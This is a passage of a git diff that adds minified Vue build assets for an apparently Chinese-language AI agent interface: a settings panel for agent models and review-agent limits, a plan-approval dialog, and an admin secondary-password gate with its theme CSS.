",1),s[222]||(s[222]=e("span",{class:"select-chevron","aria-hidden":"true"},null,-1))]),e("div",{class:c(["settings-floating-menu",{dark:f.value==="dark"}]),style:S(g.value==="role-thinking"?x.value:void 0)},[e("button",{type:"button",class:c(["settings-menu-option",{selected:y.value.thinking_mode==="fast"}]),onClick:s[92]||(s[92]=t=>{y.value.thinking_mode="fast",b()})},[...s[223]||(s[223]=[e("strong",null,"fast",-1),e("span",null,"快速响应模式",-1),e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1)])],2),e("button",{type:"button",class:c(["settings-menu-option",{selected:y.value.thinking_mode==="thinking"}]),onClick:s[93]||(s[93]=t=>{y.value.thinking_mode="thinking",b()})},[...s[224]||(s[224]=[e("strong",null,"thinking",-1),e("span",null,"思考推理模式",-1),e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1)])],2)],6)],2)]),e("div",Ui,[s[229]||(s[229]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"模型"),e("span",{class:"settings-row-desc"},"留空则使用默认模型")],-1)),e("div",{class:c(["settings-select-wrap",{open:g.value==="role-model"}]),onClick:s[97]||(s[97]=h(()=>{},["stop"]))},[e("button",{type:"button",class:"settings-select-button",onClick:s[95]||(s[95]=t=>B("role-model"))},[_(a(y.value.model_key||"默认模型")+" ",1),s[226]||(s[226]=e("span",{class:"select-chevron","aria-hidden":"true"},null,-1))]),e("div",{class:c(["settings-floating-menu",{dark:f.value==="dark"}]),style:S(g.value==="role-model"?x.value:void 0)},[e("button",{type:"button",class:c(["settings-menu-option",{selected:!y.value.model_key}]),onClick:s[96]||(s[96]=t=>{y.value.model_key="",b()})},[...s[227]||(s[227]=[e("strong",null,"默认模型",-1),e("span",null,"使用配置文件中的 default_model",-1),e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1)])],2),(d(!0),r(w,null,F(be.value,t=>(d(),r("button",{key:t.name,type:"button",class:c(["settings-menu-option",{selected:y.value.model_key===t.name}]),onClick:u=>{y.value.model_key=t.name,b()}},[e("strong",null,a(t.name),1),e("span",null,a(t.modes)+" · "+a(t.multimodal||"纯文本"),1),s[228]||(s[228]=e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1))],10,zi))),128))],6)],2)]),e("div",Hi,[s[230]||(s[230]=e("span",{class:"settings-row-title"},"Prompt Body(Markdown)",-1)),e("textarea",{value:y.value.body_prompt,placeholder:"角色的自定义 prompt body...",onInput:s[98]||(s[98]=t=>y.value.body_prompt=t.target.value)},null,40,qi)])]),e("div",Gi,[e("button",{type:"button",class:"settings-secondary-button",onClick:oe},"取消"),e("button",{type:"button",class:"settings-primary-button",disabled:le.value||!y.value.role_id||!y.value.name||!y.value.body_prompt,onClick:st},a(le.value?"保存中...":"保存"),9,Ji)])])],32)):C("",!0)]),_:1})])):$.value==="review-agents"?(d(),r("section",Wi,[s[243]||(s[243]=e("div",{class:"settings-section-desc",style:{margin:"0 0 16px",color:"var(--text-secondary)","font-size":"13px","line-height":"1.6"}}," 统一配置三个审核智能体的模型与运行参数。模型与子智能体共用模型库,留空则使用模型库默认模型。 ",-1)),(d(),r(w,null,F(Xs,t=>(d(),r(w,{key:t.key},[e("div",Qi,[e("span",Ki,a(t.name),1)]),e("div",Xi,a(t.desc),1),e("div",Yi,[s[235]||(s[235]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"模型"),e("span",{class:"settings-row-desc"},"留空则使用模型库默认模型")],-1)),e("div",{class:c(["settings-select-wrap",{open:g.value===`review-model-${t.key}`}]),onClick:s[100]||(s[100]=h(()=>{},["stop"]))},[e("button",{type:"button",class:"settings-select-button",onClick:u=>B(`review-model-${t.key}`)},[_(a(P(t.key).model||"默认模型")+" ",1),s[232]||(s[232]=e("span",{class:"select-chevron","aria-hidden":"true"},null,-1))],8,Zi),e("div",{class:c(["settings-floating-menu",{dark:f.value==="dark"}]),style:S(g.value===`review-model-${t.key}`?x.value:void 0)},[e("button",{type:"button",class:c(["settings-menu-option",{selected:!P(t.key).model}]),onClick:u=>{W(t.key,{model:""}),b()}},[...s[233]||(s[233]=[e("strong",null,"默认模型",-1),e("span",null,"使用模型库的 default_model",-1),e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1)])],10,ea),(d(!0),r(w,null,F(be.value,u=>(d(),r("button",{key:u.name,type:"button",class:c(["settings-menu-option",{selected:P(t.key).model===u.name}]),onClick:M=>{W(t.key,{model:u.name}),b()}},[e("strong",null,a(u.name),1),e("span",null,a(u.modes)+" · "+a(u.multimodal||"纯文本"),1),s[234]||(s[234]=e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1))],10,sa))),128))],6)],2)]),e("div",ta,[s[239]||(s[239]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"思考模式"),e("span",{class:"settings-row-desc"},"模型不支持思考时自动回落快速模式")],-1)),e("div",{class:c(["settings-select-wrap",{open:g.value===`review-thinking-${t.key}`}]),onClick:s[101]||(s[101]=h(()=>{},["stop"]))},[e("button",{type:"button",class:"settings-select-button",onClick:u=>B(`review-thinking-${t.key}`)},[_(a(P(t.key).thinking?"thinking":"fast")+" ",1),s[236]||(s[236]=e("span",{class:"select-chevron","aria-hidden":"true"},null,-1))],8,na),e("div",{class:c(["settings-floating-menu",{dark:f.value==="dark"}]),style:S(g.value===`review-thinking-${t.key}`?x.value:void 0)},[e("button",{type:"button",class:c(["settings-menu-option",{selected:!P(t.key).thinking}]),onClick:u=>{W(t.key,{thinking:!1}),b()}},[...s[237]||(s[237]=[e("strong",null,"fast",-1),e("span",null,"快速响应模式",-1),e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1)])],10,la),e("button",{type:"button",class:c(["settings-menu-option",{selected:P(t.key).thinking}]),onClick:u=>{W(t.key,{thinking:!0}),b()}},[...s[238]||(s[238]=[e("strong",null,"thinking",-1),e("span",null,"思考推理模式",-1),e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1)])],10,oa)],6)],2)]),e("div",ia,[s[240]||(s[240]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"审核请求超时"),e("span",{class:"settings-row-desc"},"单次模型请求超时(5-3600 秒)")],-1)),e("input",{type:"number",class:"settings-number-input",min:"5",max:"3600",value:P(t.key).timeout_seconds,onChange:u=>he(t.key,"timeout_seconds",u.target.value,5,3600)},null,40,aa)]),e("div",da,[s[241]||(s[241]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"最大审核轮次"),e("span",{class:"settings-row-desc"},"超过该轮次未产出结论时按兜底处理(1-50 轮)")],-1)),e("input",{type:"number",class:"settings-number-input",min:"1",max:"50",value:P(t.key).max_rounds,onChange:u=>he(t.key,"max_rounds",u.target.value,1,50)},null,40,ra)]),e("div",ua,[s[242]||(s[242]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"取证命令超时"),e("span",{class:"settings-row-desc"},"只读取证命令的单次超时(1-600 秒)")],-1)),e("input",{type:"number",class:"settings-number-input",min:"1",max:"600",value:P(t.key).max_command_timeout,onChange:u=>he(t.key,"max_command_timeout",u.target.value,1,600)},null,40,ca)])],64))),64))])):C("",!0),e("section",pa,[Ss.value?(d(),r("div",ga,[s[244]||(s[244]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"MCP 服务器管理"),e("span",{class:"settings-row-desc"},"统一配置 MCP Server,集中管理工具扩展能力")],-1)),e("button",{type:"button",class:"settings-secondary-button",onClick:Bt}," 打开 ")])):C("",!0),e("div",{class:"settings-action-row"},[s[245]||(s[245]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"管理员监控入口"),e("span",{class:"settings-row-desc"},"展示配额趋势、容器运行、项目存储与上传安全")],-1)),e("button",{type:"button",class:"settings-secondary-button",onClick:St}," 打开 ")]),e("div",{class:"settings-action-row"},[s[246]||(s[246]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"API 管理"),e("span",{class:"settings-row-desc"},"管理 API 调用与账户")],-1)),e("button",{type:"button",class:"settings-secondary-button",onClick:Ft}," 打开 ")]),e("div",{class:"settings-action-row"},[s[247]||(s[247]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"自定义工具管理"),e("span",{class:"settings-row-desc"},"在线创建/编辑自定义工具文件")],-1)),e("button",{type:"button",class:"settings-secondary-button",onClick:$t}," 打开 ")])])]),_:1})]),e("div",va,[e("div",ma,[p(X,{name:"personal-status-fade"},{default:K(()=>[l(De)?(d(),r("span",ka,a(l(De)),1)):C("",!0)]),_:1}),p(X,{name:"personal-status-fade"},{default:K(()=>[l(Ne)?(d(),r("span",ya,a(l(Ne)),1)):C("",!0)]),_:1})])])])])])]))])],32)):C("",!0)]),_:1}))}}),Fa=Wt(wa,[["__scopeId","data-v-6ee16aed"]]);export{Fa as default}; diff --git a/demo/static/dist/assets/PlanApprovalDialog.css b/demo/static/dist/assets/PlanApprovalDialog.css new file mode 100644 index 0000000..60ceb20 --- /dev/null +++ b/demo/static/dist/assets/PlanApprovalDialog.css @@ -0,0 +1 @@ +.plan-approval-overlay[data-v-3e79b31b]{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1300;display:flex;align-items:center;justify-content:center;padding:20px;background:var(--overlay-scrim)}.plan-approval-card[data-v-3e79b31b]{position:relative;width:min(860px,calc(100vw - 36px));max-height:min(680px,calc(100vh - 36px));max-height:min(680px,calc(100dvh - 36px));display:flex;flex-direction:column;color:var(--text-primary);background:var(--surface-card);border:1px solid var(--border-strong);border-radius:16px;overflow:hidden}.plan-approval-windowbar[data-v-3e79b31b]{height:40px;flex:0 0 40px;display:flex;align-items:center;justify-content:center;border-bottom:1px solid var(--border-default)}.plan-approval-window-title[data-v-3e79b31b]{font-size:13px;font-weight:600;color:var(--text-secondary);-webkit-user-select:none;user-select:none}.plan-approval-header[data-v-3e79b31b]{padding:16px 22px 0;flex-shrink:0}.plan-approval-title-block[data-v-3e79b31b]{min-width:0}.plan-approval-summary[data-v-3e79b31b]{margin:0 0 8px;font-size:14px;font-weight:600;line-height:1.5}.plan-approval-file[data-v-3e79b31b]{margin:0;display:flex;align-items:center;gap:6px;font-size:12px;color:var(--text-secondary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.plan-approval-file svg[data-v-3e79b31b]{flex:0 0 auto}.plan-approval-truncated[data-v-3e79b31b]{flex:0 0 auto}.plan-approval-body[data-v-3e79b31b]{flex:1 1 auto;min-height:0;overflow-y:auto;padding:14px 22px 18px;font-size:13px;line-height:1.65}.plan-approval-comment[data-v-3e79b31b]{flex-shrink:0;padding:0 22px 12px}.plan-approval-textarea[data-v-3e79b31b]{width:100%;resize:none;min-height:56px;max-height:120px;overflow-y:auto;border:1px solid var(--border-default);border-radius:10px;padding:9px 11px;color:var(--text-primary);background:var(--surface-soft);outline:none;font:inherit;font-size:13px;line-height:1.5;box-sizing:border-box}.plan-approval-textarea[data-v-3e79b31b]:focus{border-color:var(--border-strong)}.plan-approval-footer[data-v-3e79b31b]{height:56px;flex:0 0 56px;display:flex;align-items:center;gap:12px;padding:0 18px;border-top:1px solid var(--border-default)}.plan-approval-spacer[data-v-3e79b31b]{flex:1 1 auto}.plan-approval-btn[data-v-3e79b31b]{min-width:72px;height:34px;border-radius:9px;padding:0 14px;font-size:13px;font-weight:600;cursor:pointer;border:1px solid var(--border-strong)}.plan-approval-btn.ghost[data-v-3e79b31b]{background:transparent;color:var(--text-secondary)}.plan-approval-btn.ghost[data-v-3e79b31b]:hover:not(:disabled){background:var(--hover-bg);color:var(--text-primary)}.plan-approval-btn.primary[data-v-3e79b31b]{background:var(--accent);border-color:var(--accent-strong);color:var(--on-accent)}.plan-approval-btn.primary[data-v-3e79b31b]:hover:not(:disabled){background:var(--accent-hover)}.plan-approval-btn[data-v-3e79b31b]:disabled{opacity:.5;cursor:not-allowed}.plan-approval-fade-enter-active[data-v-3e79b31b],.plan-approval-fade-leave-active[data-v-3e79b31b]{transition:opacity .16s ease}.plan-approval-fade-enter-active .plan-approval-card[data-v-3e79b31b],.plan-approval-fade-leave-active .plan-approval-card[data-v-3e79b31b]{transition:transform .16s ease}.plan-approval-fade-enter-from[data-v-3e79b31b],.plan-approval-fade-leave-to[data-v-3e79b31b]{opacity:0}.plan-approval-fade-enter-from .plan-approval-card[data-v-3e79b31b],.plan-approval-fade-leave-to .plan-approval-card[data-v-3e79b31b]{transform:translateY(6px) scale(.99)}@media (max-width: 620px){.plan-approval-overlay[data-v-3e79b31b]{padding:12px}.plan-approval-card[data-v-3e79b31b]{width:100%;max-height:calc(100vh - 24px);max-height:calc(100dvh - 24px)}} diff --git a/demo/static/dist/assets/PlanApprovalDialog.js b/demo/static/dist/assets/PlanApprovalDialog.js new file mode 100644 index 0000000..6f0d38b --- /dev/null +++ b/demo/static/dist/assets/PlanApprovalDialog.js @@ -0,0 +1 @@ +import{d as w,w as g,b as r,e as k,s as x,c as d,g as e,t as v,f as c,q as A,h as B,z as _,A as h,j as C,T as M,l as b,k as V}from"./runtime-dom.esm-bundler.js";import{M as D}from"./main.js";import{_ as I}from"./_plugin-vue_export-helper.js";import"./useMarkdownRenderer.js";import"./FancyCheck.js";const S={key:0,class:"plan-approval-overlay"},j={class:"plan-approval-card",role:"dialog","aria-modal":"true","aria-label":"计划待批准"},K={class:"plan-approval-header"},N={class:"plan-approval-title-block"},T={key:0,class:"plan-approval-summary"},z=["title"],P={key:0,class:"plan-approval-truncated"},q={class:"plan-approval-body"},E={class:"plan-approval-comment"},H=["disabled","onKeydown"],R={class:"plan-approval-footer"},U=["disabled"],F=["disabled"],G=w({__name:"PlanApprovalDialog",props:{visible:{type:Boolean},approvals:{},submittingIds:{}},emits:["submit"],setup(u,{emit:f}){const p=u,m=f,l=b(()=>{const t=Array.isArray(p.approvals)?p.approvals:[];return t.length?t[0]:null}),s=V("");g(()=>{var t;return(t=l.value)==null?void 0:t.approval_id},()=>{s.value=""});const o=b(()=>{var n;const t=p.submittingIds||[],a=String(((n=l.value)==null?void 0:n.approval_id)||"");return t.length>0&&(!a||t.includes(a))});function i(){var a;const t=String(((a=l.value)==null?void 0:a.approval_id)||"").trim();!t||o.value||m("submit",{approval_id:t,approved:!0,comment:s.value.trim()})}function y(){var a;const t=String(((a=l.value)==null?void 0:a.approval_id)||"").trim();!t||o.value||m("submit",{approval_id:t,approved:!1,comment:s.value.trim()})}return(t,a)=>(r(),k(M,{name:"plan-approval-fade",appear:""},{default:x(()=>[u.visible&&l.value?(r(),d("div",S,[e("section",j,[a[3]||(a[3]=e("header",{class:"plan-approval-windowbar"},[e("div",{class:"plan-approval-window-title"},"计划待批准")],-1)),e("header",K,[e("div",N,[l.value.summary?(r(),d("p",T,v(l.value.summary),1)):c("",!0),e("p",{class:"plan-approval-file",title:l.value.plan_file},[a[1]||(a[1]=e("svg",{viewBox:"0 0 24 24",width:"13",height:"13",fill:"none",stroke:"currentColor","stroke-width":"2","stroke-linecap":"round","stroke-linejoin":"round","aria-hidden":"true"},[e("path",{d:"M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"}),e("path",{d:"M14 2v6h6"})],-1)),e("span",null,v(l.value.plan_file),1),l.value.plan_content_truncated?(r(),d("span",P,"(内容过长,已截断预览,完整内容见文件)")):c("",!0)],8,z)])]),e("div",q,[A(D,{content:l.value.plan_content||""},null,8,["content"])]),e("div",E,[B(e("textarea",{"onUpdate:modelValue":a[0]||(a[0]=n=>s.value=n),class:"plan-approval-textarea",rows:"2",placeholder:"意见(可选):批准时作为补充要求,拒绝时说明需要调整的方向…",spellcheck:"false",disabled:o.value,onKeydown:[_(h(i,["meta","prevent"]),["enter"]),_(h(i,["ctrl","prevent"]),["enter"])]},null,40,H),[[C,s.value]])]),e("footer",R,[e("button",{type:"button",class:"plan-approval-btn ghost",disabled:o.value,title:"拒绝这份计划,AI 将根据你的意见修订后重新提交",onClick:y}," 拒绝 ",8,U),a[2]||(a[2]=e("div",{class:"plan-approval-spacer"},null,-1)),e("button",{type:"button",class:"plan-approval-btn primary",disabled:o.value,title:"批准计划并切换到执行模式开始实施",onClick:i},v(o.value?"提交中…":"批准并执行"),9,F)])])])):c("",!0)]),_:1}))}}),X=I(G,[["__scopeId","data-v-3e79b31b"]]);export{X as default}; diff --git a/demo/static/dist/assets/SecondaryGate.css b/demo/static/dist/assets/SecondaryGate.css new file mode 100644 index 0000000..e260b53 --- /dev/null +++ b/demo/static/dist/assets/SecondaryGate.css @@ -0,0 +1 @@ +@charset "UTF-8";:root{color-scheme:light;--app-viewport: 100vh;--app-bottom-inset: env(safe-area-inset-bottom, 0px);--mac-close: #ff5f57;--mac-close-hover: #ff3b30;--mac-close-border: #e0443e;--text-shadow-legible: rgba(0, 0, 0, .8);--decorative-gold: #ffd700;--decorative-pink: #ff69b4;--glass-tint-blue: rgba(104, 147, 255, .2);--glass-tint-blue-soft: rgba(128, 183, 255, .18);--glass-tint-blue-mid: rgba(140, 180, 255, .35);--glass-tint-amber: rgba(255, 200, 150, .22);--glass-base-deep: rgba(28, 27, 41, .95);--glass-shadow-deep: rgba(24, 20, 37, .45);--progress-track: rgba(127, 135, 146, .28);--drag-preview-shadow: rgba(0, 0, 0, .35);--lightbox-text: #ffffff;--lightbox-btn-bg: rgba(0, 0, 0, .45);--lightbox-btn-bg-hover: rgba(0, 0, 0, .65);--file-kind-word: #5b7fc4;--file-kind-excel: #529658;--file-kind-ppt: #c9734b;--file-kind-pdf: #c25e52;--file-kind-text: #71808f;--file-kind-code: #8a6fc0;--file-kind-archive: #a08255;--file-kind-generic: #8b887f;--effort-low: #f5c542;--effort-medium: #3fd07c;--effort-high: #4f8ef7;--effort-xhigh: #a55df0;--effort-xhigh-shine: rgba(255, 255, 255, .55);--effort-max-red: #ff3b5c;--effort-max-orange: #ff9f2e;--effort-max-yellow: #ffe93b;--effort-max-green: #3ddc68;--effort-max-cyan: #2fd4ff;--effort-max-purple: #7a5cff;--effort-max-pink: #ff4fd8;--effort-knob-bg: #ffffff;--effort-knob-shadow: rgba(0, 0, 0, .28);--effort-dot-covered: rgba(255, 255, 255, .55);--effort-dot-uncovered: rgba(0, 0, 0, .28);--theme-surface-card: var(--surface-card);--theme-surface-strong: var(--surface-raised);--theme-surface-soft: var(--surface-soft);--theme-surface-muted: var(--surface-muted);--theme-card-border-strong: var(--border-card-strong);--theme-chip-border: var(--chip-border);--theme-tab-active: var(--tab-active);--theme-chip-bg: var(--chip-bg);--theme-badge-bg: var(--badge-bg);--theme-switch-track: var(--switch-track);--theme-shadow-soft: var(--shadow-soft);--theme-shadow-mid: var(--shadow-mid);--theme-shadow-strong: var(--shadow-strong);--theme-overlay-scrim: var(--overlay-scrim);--theme-mobile-menu: var(--mobile-menu);--theme-mobile-menu-shadow: var(--mobile-menu-shadow);--git-diff-add-text: var(--diff-add-text);--git-diff-del-text: var(--diff-del-text);--theme-control-border: var(--border-default);--theme-control-border-strong: var(--border-strong)}:root[data-theme=classic]{color-scheme:light;--effort-track-bg: var(--surface-muted);--surface-base: #faf9f5;--surface-panel: #faf9f5;--surface-rail: #f5f0e8;--surface-sidebar: #f5f0e8;--surface-card: #efe9de;--surface-raised: #ffffff;--surface-soft: #f5f0e8;--surface-muted: #e8e0d2;--text-primary: #141413;--text-secondary: #3d3d3a;--text-tertiary: #6c6a64;--text-muted: rgba(108, 106, 100, .55);--border-default: #e6dfd8;--border-strong: #d8cfc4;--border-card-strong: #e6dfd8;--chip-border: #ebe6df;--accent: #cc785c;--accent-strong: #a9583e;--accent-hover: #bd6a4f;--accent-active: #a9583e;--accent-deep: #6c6a64;--accent-deep-strong: #3d3d3a;--on-accent: #ffffff;--state-success: #10b981;--state-warning: #f59e0b;--state-danger: #dc2626;--state-danger-strong: #b91c1c;--status-offline: #dc2626;--state-info: #5db8a6;--highlight: rgba(20, 20, 19, .05);--tab-active: rgba(20, 20, 19, .07);--chip-bg: #f5f0e8;--badge-bg: #efe9de;--switch-track: #d8cfc4;--hover-bg: rgba(20, 20, 19, .05);--pulse-ring: rgba(0, 0, 0, .1);--shadow-card: 0 14px 36px rgba(61, 57, 41, .12);--shadow-soft: 0 12px 24px rgba(38, 28, 18, .12);--shadow-mid: 0 20px 45px rgba(16, 24, 40, .08);--shadow-strong: 0 28px 60px rgba(38, 28, 18, .25);--shadow-color: rgba(0, 0, 0, .1);--overlay-scrim: rgba(33, 24, 14, .55);--mobile-menu: #f5f0e8;--mobile-menu-shadow: 0 12px 30px rgba(38, 28, 18, .15);--diff-add-text: #00e000;--diff-del-text: #ff1a1a;--diff-add-bg: rgba(22, 163, 74, .12);--diff-del-bg: rgba(220, 38, 38, .12)}:root[data-theme=light]{color-scheme:light;--effort-track-bg: var(--surface-muted);--surface-base: #ffffff;--surface-panel: #ffffff;--surface-rail: #f9f9f9;--surface-sidebar: #f9f9f9;--surface-card: #ffffff;--surface-raised: #ffffff;--surface-soft: #f9f9f9;--surface-muted: #f3f3f3;--text-primary: #0d0d0d;--text-secondary: #5d5d5d;--text-tertiary: #8f8f8f;--text-muted: rgba(13, 13, 13, .35);--border-default: rgba(13, 13, 13, .1);--border-strong: rgba(13, 13, 13, .15);--border-card-strong: rgba(13, 13, 13, .1);--chip-border: rgba(13, 13, 13, .05);--accent: #181818;--accent-strong: #181818;--accent-hover: #303030;--accent-active: #414141;--accent-deep: #5d5d5d;--accent-deep-strong: #414141;--on-accent: #ffffff;--state-success: #10b981;--state-warning: #f59e0b;--state-danger: #dc2626;--state-danger-strong: #b91c1c;--status-offline: #dc2626;--state-info: #0285ff;--highlight: rgba(13, 13, 13, .05);--tab-active: rgba(13, 13, 13, .05);--chip-bg: #f3f3f3;--badge-bg: #f3f3f3;--switch-track: #ececec;--hover-bg: rgba(13, 13, 13, .05);--pulse-ring: rgba(0, 0, 0, .1);--shadow-card: 0 1px 2px rgba(0, 0, 0, .05);--shadow-soft: 0 1px 2px rgba(0, 0, 0, .05);--shadow-mid: 0 1px 3px rgba(0, 0, 0, .06);--shadow-strong: 0 2px 4px rgba(0, 0, 0, .08);--shadow-color: rgba(0, 0, 0, .1);--overlay-scrim: rgba(0, 0, 0, .5);--mobile-menu: #ffffff;--mobile-menu-shadow: 0 2px 8px rgba(0, 0, 0, .08);--diff-add-text: #00e000;--diff-del-text: #ff1a1a;--diff-add-bg: rgba(22, 163, 74, .12);--diff-del-bg: rgba(220, 38, 38, .12)}:root[data-theme=dark]{color-scheme:dark;--effort-track-bg: #3a3a3c;--surface-base: #1a1a1a;--surface-panel: #1a1a1a;--surface-rail: #181818;--surface-sidebar: #181818;--surface-card: #262626;--surface-raised: #1a1a1a;--surface-soft: #212121;--surface-muted: #2b2b2b;--text-primary: #ffffff;--text-secondary: #a0a0a0;--text-tertiary: #707070;--text-muted: rgba(255, 255, 255, .3);--border-default: rgba(255, 255, 255, .08);--border-strong: rgba(255, 255, 255, .12);--border-card-strong: rgba(255, 255, 255, .1);--chip-border: rgba(255, 255, 255, .08);--accent: #606060;--accent-strong: #505050;--accent-hover: #707070;--accent-active: #505050;--accent-deep: #808080;--accent-deep-strong: #606060;--on-accent: #ffffff;--state-success: #10b981;--state-warning: #f59e0b;--state-danger: #dc2626;--state-danger-strong: #b91c1c;--status-offline: #e34d4d;--state-info: #60a5fa;--highlight: rgba(255, 255, 255, .05);--tab-active: rgba(255, 255, 255, .05);--chip-bg: #2a2a2a;--badge-bg: #2a2a2a;--switch-track: #2a2a2a;--hover-bg: rgba(255, 255, 255, .06);--pulse-ring: rgba(255, 255, 255, .1);--shadow-card: 0 2px 8px rgba(0, 0, 0, .5);--shadow-soft: 0 2px 6px rgba(0, 0, 0, .4);--shadow-mid: 0 3px 8px rgba(0, 0, 0, .5);--shadow-strong: 0 4px 12px rgba(0, 0, 0, .6);--shadow-color: rgba(0, 0, 0, .4);--overlay-scrim: rgba(0, 0, 0, .8);--mobile-menu: rgba(10, 10, 10, .95);--mobile-menu-shadow: 0 4px 12px rgba(0, 0, 0, .6);--diff-add-text: #00e000;--diff-del-text: #ff1a1a;--diff-add-bg: rgba(22, 163, 74, .12);--diff-del-bg: rgba(220, 38, 38, .12)}:root:not([data-theme]){--effort-track-bg: var(--surface-muted);--surface-base: #faf9f5;--surface-panel: #faf9f5;--surface-rail: #f5f0e8;--surface-sidebar: #f5f0e8;--surface-card: #efe9de;--surface-raised: #ffffff;--surface-soft: #f5f0e8;--surface-muted: #e8e0d2;--text-primary: #141413;--text-secondary: #3d3d3a;--text-tertiary: #6c6a64;--text-muted: rgba(108, 106, 100, .55);--border-default: #e6dfd8;--border-strong: #d8cfc4;--border-card-strong: #e6dfd8;--chip-border: #ebe6df;--accent: #cc785c;--accent-strong: #a9583e;--accent-hover: #bd6a4f;--accent-active: #a9583e;--accent-deep: #6c6a64;--accent-deep-strong: #3d3d3a;--on-accent: #ffffff;--state-success: #10b981;--state-warning: #f59e0b;--state-danger: #dc2626;--state-danger-strong: #b91c1c;--status-offline: #dc2626;--state-info: #5db8a6;--highlight: rgba(20, 20, 19, .05);--tab-active: rgba(20, 20, 19, .07);--chip-bg: #f5f0e8;--badge-bg: #efe9de;--switch-track: #d8cfc4;--hover-bg: rgba(20, 20, 19, .05);--pulse-ring: rgba(0, 0, 0, .1);--shadow-card: 0 14px 36px rgba(61, 57, 41, .12);--shadow-soft: 0 12px 24px rgba(38, 28, 18, .12);--shadow-mid: 0 20px 45px rgba(16, 24, 40, .08);--shadow-strong: 0 28px 60px rgba(38, 28, 18, .25);--shadow-color: rgba(0, 0, 0, .1);--overlay-scrim: rgba(33, 24, 14, .55);--mobile-menu: #f5f0e8;--mobile-menu-shadow: 0 12px 30px rgba(38, 28, 18, .15);--diff-add-text: #00e000;--diff-del-text: #ff1a1a;--diff-add-bg: rgba(22, 163, 74, .12);--diff-del-bg: rgba(220, 38, 38, .12)}.secondary-overlay[data-v-8ef6b7ca]{position:fixed;top:0;right:0;bottom:0;left:0;background:var(--overlay-scrim);display:flex;align-items:center;justify-content:center;z-index:1000}.secondary-card[data-v-8ef6b7ca]{background:var(--surface-card);border:1px solid var(--border-default);border-radius:10px;padding:24px;width:420px;max-width:calc(100vw - 48px);max-height:calc(100vh - 96px);overflow-y:auto;display:flex;flex-direction:column;gap:12px}.secondary-card--guide[data-v-8ef6b7ca]{width:520px}.secondary-card h3[data-v-8ef6b7ca]{margin:0;font-size:15px;color:var(--text-primary)}.secondary-card p[data-v-8ef6b7ca]{margin:0;font-size:13px;line-height:1.6;color:var(--text-secondary)}.guide-steps[data-v-8ef6b7ca]{margin:0;padding-left:20px;display:flex;flex-direction:column;gap:10px;font-size:13px;color:var(--text-secondary)}.step-text[data-v-8ef6b7ca]{display:block;margin-bottom:4px;line-height:1.5}.step-code[data-v-8ef6b7ca]{display:block;padding:8px 10px;border-radius:6px;background:var(--surface-muted);border:1px solid var(--border-default);font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,monospace;font-size:12px;line-height:1.5;color:var(--text-primary);word-break:break-all;-webkit-user-select:all;user-select:all}.secondary-input[data-v-8ef6b7ca]{height:34px;padding:0 10px;border-radius:6px;border:1px solid var(--border-default);background:var(--surface-base);color:var(--text-primary);font-size:13px;outline:none}.secondary-input[data-v-8ef6b7ca]:focus{border-color:var(--accent)}.secondary-actions[data-v-8ef6b7ca]{display:flex;gap:8px}.secondary-actions button[data-v-8ef6b7ca]{height:32px;padding:0 14px;border-radius:6px;border:1px solid var(--border-default);background:var(--surface-soft);color:var(--text-primary);font-size:13px;cursor:pointer}.secondary-actions button[data-v-8ef6b7ca]:hover:not(:disabled){background:var(--surface-muted)}.secondary-actions button[data-v-8ef6b7ca]:disabled{opacity:.5;cursor:not-allowed}.secondary-actions .ghost-btn[data-v-8ef6b7ca]{background:transparent}.secondary-error[data-v-8ef6b7ca]{margin:0;font-size:12px;color:var(--state-danger)} diff --git a/demo/static/dist/assets/SecondaryGate.js b/demo/static/dist/assets/SecondaryGate.js new file mode 100644 index 0000000..4937f6b --- /dev/null +++ b/demo/static/dist/assets/SecondaryGate.js @@ -0,0 +1 @@ +import{k as l,d as p,b as c,c as r,p as b,g as s,t as i,f as y,h,j as m,z as g}from"./runtime-dom.esm-bundler.js";import{_ as k}from"./_plugin-vue_export-helper.js";function G(){const e=l(!1),u=l(!0),o=l(!1),n=l(null);return{verified:e,configured:u,loading:o,error:n,check:async()=>{o.value=!0,n.value=null;try{const t=await fetch("/api/admin/secondary/status",{credentials:"same-origin"});if(!t.ok)throw new Error(`状态请求失败:${t.status}`);const a=await t.json();e.value=!!a.verified,u.value=a.configured!==!1}catch(t){n.value=t.message||"无法验证二级密码状态"}finally{o.value=!1}},verify:async t=>{o.value=!0,n.value=null;try{const a=await fetch("/api/admin/secondary/verify",{method:"POST",headers:{"Content-Type":"application/json"},credentials:"same-origin",body:JSON.stringify({password:t})}),d=await a.json();if(!a.ok||!d.success)throw new Error(d.error||"二级密码验证失败");e.value=!0}catch(a){n.value=a.message||"验证失败",e.value=!1}finally{o.value=!1}}}}const w={class:"secondary-overlay"},q={key:0,class:"secondary-card 